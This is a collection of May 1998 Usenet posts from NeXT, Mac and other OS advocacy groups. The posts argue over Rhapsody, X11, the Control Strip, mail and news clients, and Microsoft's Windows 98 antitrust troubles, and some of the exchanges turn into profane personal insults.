>I really don't understand this side-by-side OS fetish.
>
>
It is no fetish. Much of the software that I want to run has
been programmed for X. While I would much rather have it
available under OpenStep/Rhapsody, I have no choice in the
matter.
If Apple allows me to run a fully supported version of Linux
and Rhapsody together, my next computer will be a Mac. This
move would bring, IMHO, a swarm of new customers to Apple
from the Linux camp. It would light a fire in the GnuStep
community so that Apple would get the benefit of many more
talented people programming the OpenStep way.
Apple has a chance to win big one this one. I hope that they
see it that way.
regards,
Pete
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 02:29:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvinl.m1i.sal@panix3.panix.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <joe.ragosta-0505980801340001@wil129.dol.net> <354F500D.B32@CONVEX.COM>
On Tue, 05 May 1998 12:44:45 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>Joe Ragosta wrote:
>> Of course, it never occurred to you that Apple could avoid this problem by:
>> 1. Offering multiple UIs (ever hear of "Themes"?).
>Control Strip is outside the boundaries of anything affected by
>"themes".
What if the OpenStep theme launches the Dock but the MacOS theme
launches the control strip? That would be a trivial way to do it...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: 6 May 1998 02:38:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvj9v.m1i.sal@panix3.panix.com>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu> <6iofql$ake@bgtnsc01.worldnet.att.net>
On Wed, 06 May 1998 01:51:59 GMT, Peter Koren <pkoren@worldnet.att.net> wrote:
>On 4 May 98 14:44:39 GMT, Jonathan W Hendry
><jhendry@shrike.depaul.edu> wrote:
>>I really don't understand this side-by-side OS fetish.
>It is no fetish. Much of the software that I want to run has
>been programmed for X. While I would much rather have it
>available under OpenStep/Rhapsody, I have no choice in the
>matter.
If you need X, you don't need to linux side-by-side. Just install
and run X11 for Rhapsody. There is already a port of XNext that
kind of works. It dosen't offer "rootless" X11 apps, but it will
let you run X in a window.
You can find it at:
http://www.angelfire.com/biz/sle/yellowX.html
And if there are Gnu/Linux versions of an App/util that you like
more than the BSD version, just port it. I think a port would be
a lot less work than having to work with two Unixs...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 6 May 1998 02:44:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvjk5.m1i.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <slrn6kt3rg.5jg.sal@panix3.panix.com> <354F24E5.38A193EE@nstar.net>
On Tue, 05 May 1998 14:40:37 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> >Rate of change is another description of yet the same thing we've been
>> >talking about. Do you think that by changing the phraseology you'll snow
>> Others have answered this and have shown why rate of change is useful.
>Err, yeah. "What he said", is that your response?
Go back and read the other posts in this thread. If that is too much work
for you, I'll email them.
>> Good job shifting the discusion from the validity of the measurement to
>> the validity of the whole survey.
>I don't think you really know what you're talking about. That's become
>painfully clear.
I think *you* haven't got the first clue about the subject, and that is why
you changed your statement. You do this all the time...
>> >Who is "they"?
>> The folks reading this thread.
>Oh, I forgot, your "audience".
You brought this up. Why makes you think I am performing? Paranoia?
Or just you self important delusions?
>> <<MJP ranting removed>>
>Another classic Denaro move: claim your opponent is "ranting" or
>"delusional".
Do you think you are fooling anyone. Everyone can tell you don't
know JACK SHIT about anything.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 6 May 1998 02:46:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvjoi.m1i.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <slrn6kub96.b2a.sal@panix3.panix.com> <354F2EB3.29B270E3@nstar.net>
On Tue, 05 May 1998 15:22:27 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>> Any your remarks don't change the fact that you changed your statement.
>Yeesh.
You know damn well that I caught you and now you're acting all holier
than thou...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 6 May 1998 02:54:49 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvk7p.m1i.sal@panix3.panix.com>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net> <6ic2t3$dbd$3@ns3.vrx.net> <354A1499.52EB74F2@nstar.net> <6iclh3$oth$4@ns3.vrx.net> <354A261D.3D1@CONVEX.COM> <slrn6kt3ij.5jg.sal@panix3.panix.com> <354F23DA.A4DA3BFF@nstar.net> <joe.ragosta-0505981127410001@wil134.dol.net> <354F5052.8AC@CONVEX.COM> <joe.ragosta-0505981552100001@wil124.dol.net> <354F6FFE.7285@CONVEX.COM>
On Tue, 05 May 1998 15:01:02 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>Actually, the part I trimmed was a couple of incomplete paragraphs. In
>fact, one of the quotes wasn't even a complete sentence.
In message <35478DF9.21CC@CONVEX.COM> (the one I quoted from)
You don't say anything about sample size. You claim that your
point is in the way the calculation is made.
In article <354A261D.3D1@CONVEX.COM> (The other one)
You calim that your objection is based only on the sample size.
Should I repost both messages and further humiliate you? Or
are you just going to admit that you were wrong and slither away
quietly?
>I tried to be nice about it. You throw back in my face that it's
>acceptable not only to miss the thread, but to miss the very content of
>the quotes from which you draw your conclusions.
Why are you acting so damn defensive? Could it be that you just know
that you are TOTALY FUCKING WRONG and I caught you on it?
>Screw off.
You should take your own advice.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 06 May 1998 03:20:14 GMT
NNTP-Posting-Date: Tue, 05 May 1998 20:20:14 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6inu0b$cet$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > I didn't say that's the way it "should be", I'm saying that I don't think
> > it makes any practical difference. Somehow I have managed to fail to
> > be confused by using two different programs for mail and news.
>
> No one's saying that you've been confused, we're saying it's sub-optimal.
>
> > Furthermore, the way I browse threads in newsgroups is different from
> > the way I look through mailboxes.
>
> How? Why? Because that's the way you do it, or because that's the way you
> do it because all the apps you've used did it that way and now that's the way
> you do it?
>
> > > > Far fewer newsreaders support _reading_ e-mail.
> >
> > > A problem that needs to be fixed.
> >
> > I doubt it.
>
> I don't, all the big companies seem to be trying to do just that.
>
> > > That's because you think of them as "mail" and "news".
> >
> > That's because _they are_.
>
> If I hand you one with a few selected headers removed you will be unable to
> tell a difference. That's because they _aren't_ different. The onyl
> difference is in the way they are retreived.
The only difference is NOT how they are retreived - the only difference
is the number and type of recipients.
Mail, normally comes to YOU. News is just there (or not). With mail,
you can normally be expected to have read it, with news it's just the
opposite - you assume they haven't unless they refer to it specifically.
News is publicly available to the whole world and will probably be
archived near forever, but not on your machine - mail is private and
whether it is kept or not, is strictly up to you. In mail, if I say I
have financial or health problems, or have just won the lottery or had a
kid, or any other personal information, then it'd better not appear in a
newsgroup or web page without my OK. If I post it to a newsgroup then
*I've* explicitly said that I don't care who knows.
Mail, private. News, public.
This produces different methods of handling each when they are received,
Mails get's filtered and possibly dumped into the relevant
folder/mailbox/whatever, while news already get's dumped into the right
place, what needs to be done is to pick out what you do and don't want
to see. Mail (except for spam) is something that you expect that you
will want to see - somebody took the time to write you a personal
message.
--
John Moreno
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8kwce.13zdpay8tjf5dN@roxboro0-036.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <354F2CD6.618E9CC8@nstar.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 06 May 1998 03:20:31 GMT
NNTP-Posting-Date: Tue, 05 May 1998 20:20:31 PDT
Michael J. Peck <mjpeck@nstar.net> wrote:
> Finally, for what it's worth, most of the mailing lists I'm subscribed
> to are large enough that you need a Web browser to access the logs and
> archives, anyway.
You don't need a Web Browser - you need a newsreader. Pipe it into a
local newsgroup or something similar (I use a perl/AS script to move my
mailing lists into MacSOUP so I can read it as newsgroup, with threading.
I've got a version for Emailer and one for Eudora [the only problem is
that there seem to be a lot of people who don't use mail software which
will include a In-Reply-To header, including Emailer).
--
John Moreno
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8kvxv.1yy4lqx12mochsN@roxboro0-036.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 06 May 1998 03:20:25 GMT
NNTP-Posting-Date: Tue, 05 May 1998 20:20:25 PDT
Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
> Under UNIX, pine (text interface) does email well and news ok (text
> interface). But trn is a far better newsreader (I have yet to see any
> newsreader anywhere thread as well!)
I'd recommend that you take a look at MacSOUP. It's threading is
excellent.
--
John Moreno
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 03:33:43 GMT
Organization: Digital Fix Development
Message-ID: <6iolmn$7sm$1@news.digifix.com>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172>
In-Reply-To: <B174E97A-11AF54@207.217.155.172>
On 05/05/98, "Brad Hutchings" wrote:
>Scott Anguish wrote:
<snip>
>> And I don't think that it entitles you to make smart ass
>>remarks about us being refugees, and that we're basically shit out
of
>>luck as far as the UI that we've become accustomed too.
>
>But, Scott, that's what your point sounded like when you trashed
>the Control Strip. It's bad enough that I have take all sorts of
>crap about OpenDoc. Yeah, Apple management killed it, lied about
>it, and badmouthed it. But damnit! I will not take crap over the
>control strip, for which long ago, I wrote a few modules. Apple
>hasn't killed _that_ yet, and they won't because users like it :).
>
But Brad.. I AM a Mac User. I DO have as much right to
criticize a boneheaded, space taking, tack-on, like Control Strip.
>Face reality. The base-HI of future Macs is gonna look and feel
>like a Macintosh. Single menu bar, _no_ dock, etc.
Wow.. if you had that good a crystal ball, one would expect
that you saw what happened to OpenDoc before hand.
<snip>
>I guess we'll all see what Apple's plan of the quarter is next
>week. I'll be totally surprised if it involves a Mac product line
>separate from the Rhapsody product line. In that case, especially
>when repeat Mac buyers are keeping Apple afloat (and will for some
>time), why would Apple alienate those buyers by moving toward a
>system-wide HI they are not accustomed to?
>
Largely because there is a huge base of discontented Windows
users, and no shortage of unhappy Mac users...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 03:38:34 GMT
Organization: Digital Fix Development
Message-ID: <6iolvq$7sn$1@news.digifix.com>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143>
In-Reply-To: <B175052E-165DC1@206.165.43.143>
On 05/05/98, "Lawson English" wrote:
>Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>
>>In article <B174E97A-11AF54@207.217.155.172>, "Brad Hutchings" <
>>brad@hutchings-software.com> wrote:
>>
>>> ROTFLMAO that people seriously think that volume controls on a
keyboard
>>or
>>> command-function key combinations are better HI than the control
strip.
>>
>>They are. Should every problem be solved by keyboard controls? No.
>>_Can_ every problem be solved that way? No. Should _this_ problem
be
>>solved that way? I think it's a superior solution to software
control,
>>though of course software control in some form should also be
available.
>
>You're thinking like someone who uses the keyboard more than the
mouse. It
>is generally easier to mouse a control than type one.
>
It is easier..
It requires no looking at the monitor. It requires no visual
attention...
compare that to, drag down, click to expand the control strip,
move, click again and drag the volume control
Its trivial to hit a mute/volume button on the keyboard.. I
don't think they should be full-size keys.. but small buttons, like on
the Apple Adjustable Keyboard take up little space, and provide a
universally understood interface to volume, a-la the Remote Control.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 03:40:46 GMT
Organization: Digital Fix Development
Message-ID: <6iom3u$80r$1@news.digifix.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net> <EsI7zE.9nA@basil.icce.dev.rug.null.nl>
In-Reply-To: <EsI7zE.9nA@basil.icce.dev.rug.null.nl>
On 05/05/98, Tom Hageman wrote:
>maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> In <6in3ed$825$1@news.cmc.net> Leon von Stauber claimed:
>> > Well, I doubt that. I just like them separate. Reading mail and
>> > reading news are different activities for me.
>>
>> Well I know, but I believe this difference is entirely
historical. Why is
>> it that OpenStep newsreaders use Unix terms and have panes for
layout?
>> Because that's what they saw in their market (the Unix one) when
looking
>> about. I think it's time that everyone needs to "think outside the
box" and
>> cross-fretilize the markets. That's the whole idea anyway!
>
>To each his own. The times I tried a newsreader with separate
newsgroups, article and
>message windows (yes, on NEXTSTEP! I don't remember whether it was
NewsFlash or
>HNNews(?)) it drove me batty.
Yeah, I definately agree on this...
I can't stand having multiple windows littering my
news-reading activity.
BTW.. its not NewsFlash.. it is a single window beast for the
most part.. (and my personal favorite)..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 23:44:39 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iomt2$bac$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net>
DC wrote in message <6in44d$jt3@bgtnsc01.worldnet.att.net>...
>John Saunders wrote:
>>
>> DC, would a company like CompUSA, which has spent x Million dollars
getting
>> their advertising and promotions ready for the Win98 launch would be hurt
if
>> that launch were delayed a year or two?
>
>Very little. CompUSA is not dependent on a single piece of software to
>be successful. Also take into account that MS helps with the bill when
>it comes to advertising their warez.
>
Come on, DC! Haven't you been listening to the radio? THEY'VE ALREADY
STARTED ADVERTISING! That only costs a few millions for the Ad company and
the radio spots, but hey, a million here, a million there, pretty soon it's
real money.
And if it's "very little", then YOU go pay for it!
I don't mean to imply that companies are going to fold over this. I said
"hurt", not "killed".
>
>>
>> Would the vendors of USB peripherals be hurt if there is no mainstream
>> operating system that supports USB?
>
>It's a new technology. The risk comes with the technology. The risk also
>exists when you rely on a single product or company for your revenue.
>
You're pretty free with other people's money, aren't you?
Read my paragraph. I didn't say, "should the USB vendors have expected
risk". I asked if they would be hurt. The answer is, "yes, they would be
hurt".
Besides, risk can be managed if you don't have the Government making
uninformed decisions behind your back. By now, most of these USB-peripheral
vendors know their hardware works with Windows 98, and they've probably
begun promoting their new stuff. But, wait: here comes the Government to
blow away the market for your USB product. Not fun.
>>
>> Would companies which have been testing their products against Windows 98
be
>> concerned if Windows 98 didn't ship?
>
>Concerned? Why? If their products run on Win 95, there is no problem.
>The product will continue to sell. Even if Win98 is delayed, they are
>still prepared.
Because they've just gotten through spending Engineer time to test under
Win98. Maybe they had better things to do with the money? No Win98, no need
for the money spent on testing.
>
>>
>> Would consumers who want to upgrade their existing systems by adding
large
>> hard disks be impacted by the lack of FAT32 support in Win95-retail?
>
>C'mon, how many consumers are really worried about that? I doubt the
>average consumer even knows what FAT32 is. They buy a computer to play
>games, surf the net, and use Word/Excel. You don't need 9GB disks for
>that (then again, they way Office bloat keeps growing...;-). I would
>think that most folks who needed that much disk space are knowledgable
>enough to work around the issue (install NT?).
Ok, probably not many are in this position. By the way, what do you call
"working around the issue"? NT costs money.
>>
>> Don't be fooled. If DOJ and the State Extortionists General have their
way,
>> Microsoft won't be the only one to be hurt by this.
>>
>They stand to lose the most because they need a new cash cow.
But it's not going to be a cash cow, and everyone knows it! They don't "need
a new cash cow"!
>Again, I
>fault anyone banking on a single product. If one was to build a business
>based on the sole existence of Win 98, then one is putting oneself in a
>VERY risky situation. It's just not a smart business move. Again, M$ has
>basically pointed out its stranglehold over the industry. If so many
>companies are dependent on them (especially on a piece of garbage
>upgrade), then its blatant that innovation, choice, and competition in
>the industry has been stifled.
>
So stop whining and fix the problem. And not by constraining someone else,
either. Do something innovative on your own.
Sincerely,
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 5 May 1998 23:48:48 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iomt3$bac$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu>
Nathan G. Raymond wrote in message
<6in626$6cm$1@new-news.cc.brandeis.edu>...
>In article <6imcmk$oj1$3@ligarius.ultra.net> "John Saunders"
<jws@jws.ultranet.com> writes:
>>DC, would a company like CompUSA, which has spent x Million dollars
getting
>>their advertising and promotions ready for the Win98 launch would be hurt
if
>>that launch were delayed a year or two?
>>
>>Would the vendors of USB peripherals be hurt if there is no mainstream
>>operating system that supports USB?
>>
>>Would companies which have been testing their products against Windows 98
be
>>concerned if Windows 98 didn't ship?
>>
>>Would consumers who want to upgrade their existing systems by adding large
>>hard disks be impacted by the lack of FAT32 support in Win95-retail?
>>
>>
>>Don't be fooled. If DOJ and the State Extortionists General have their
way,
>>Microsoft won't be the only one to be hurt by this.
>[snip]
>
>Problem with this discussion is the use of the ambiguous term "hurt" - do
>not fool yourself, there will have to be consequences to removing MS
>from its market monopoly position. It's roughly equivalent to people
>complaining about reverse-discrimination - that is the cost we will have
>to pay in any attempt to compensate for inequities of the past, and the
>process will always have a certain degree of subjectivity to it.
>
>One must be willing to examine the short-term, middle-term, and long-term
>costs and benefits in a holistic manner. If one doesn't, one is very
>likely constructing a sitatuation that one wants to see, rather than at
>minimum looking at an approximation of reality.
Nathan,
When you become God, I'll be glad to trust you to see the long-term costs
and benefits.
Until then, I'm stuck needing to trust Congress and our state Attourneys
General. And they constantly prove they can't be trusted to do anything
complicated.
So when it comes to a situation where someone claims they've looked at all
the potential problems, but they're still going to do so and such a thing
for "my own good", I'm more than just skeptical. I react like someone who
knows they're being lied to. Which is often the case.
Thanks,
John Saunders
jws@jws.ultranet.com
From: "Scott Piercy" <spiercy@bellsouth.net>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <7TR31.1460$6V1.1142426@news3.atl.bellsouth.net>
Date: Wed, 06 May 1998 04:42:43 GMT
NNTP-Posting-Date: Wed, 06 May 1998 00:42:43 EST
The differences in the underlying DirectDraw kernel, the different video and
audio driver models, and the unwillingness of chipset vendors to standardize
function sets around two essentially different (yet visually similar) OS's
is the reason why DirectX isn't fully supported under NT4.
The whole reason for Win98's existence, is to move the consumer core of
Microsoft's business closer to NT, as 98 and NT5 will support each other's
drivers (with the notable exception of video drivers, at least until NT5
ships.).
Blame all of those idiots, struggling to hold on to the meager threads of
DOS compatability, for the situation, as well as Microsoft.....Won't matter
in another 8-9 months, so don't fret....Won't do any good to fret
anyway...Bill does what he wants because he CAN....
Besides, noone's FORCING you to upgrade, and NOONE really NEEDS NT....yet at
least......98's merging with NT5's driver model, will hopefully fix NT's
biggest problems, that of PnP support, and actual real world, in the flesh
drivers...NT can be a nightmare if you don't have the right, supported
hardware to start with....
Scott
darknerd@shell4.ba.best.com wrote in message ...
>This is not really an attack to the actual technical merit of any given
>operating system, but rather an attack on Micro$oft's business practices
>screws up customers.
>
>My argument is that Micro$oft is forcing users and developers to use
>DOS-booting Windows '95 instead of the more stable WindowsNT.
>
>I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
>recently explored Micro$oft's DirectX developer's site (DirectX being the
>game technology), and found the latest version of DirectX is NOT supported
>on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
>to upgrade.
>
>This SUCKS!!!!
>
>Basically, Microsoft not supporting WindowNT 4.0 with DirectX is forcing
>game companies to only support Windows '95. Furthermore, WindowsNT 4.0 is
>obsoleted for future _UNRELEASED_ versions of WindowsNT.
>
>This forces I, the consumer, to user Windows '95 or purchase an upgraded
>version of WindowsNT 5.0 for the stability if affords and compatability
>with current gaming software.
>
>I'm really peeved by this!!! I can rant and raved all I want, but I think
>letters to my senator's and attorny general are more appropriate on their
>business practices.
>
>They should give _all_ WindowsNT 4.0 end users a free upgrade to resolve
>the matter.
>
>regards,
> Joaquin (darknerd AT shell4.ba.best.com)
>
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 22:43:10 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F87E7.743F@earthlink.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net> <EsI7zE.9nA@basil.icce.dev.rug.null.nl> <6iom3u$80r$1@news.digifix.com>
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Scott Anguish wrote:
> I can't stand having multiple windows littering my
> news-reading activity.
Ahhhh.... voice of reason.... ;-)
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 22:30:22 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F84EA.25CA@earthlink.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
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I'll second that!!
-Steve
John Rudd wrote:
> I have used regular unix mail, berkeley's
> extension to it (Mailx), elm, pine, Eudora, Netscape, and Outlook... none of
> these has anything I'd call a better interface than Mail.app. I quite
> thoroughly enjoy Mail.app, and look forward to being able to continue using
> it under Rhapsody.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 22:38:09 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F86BB.70BB@earthlink.net>
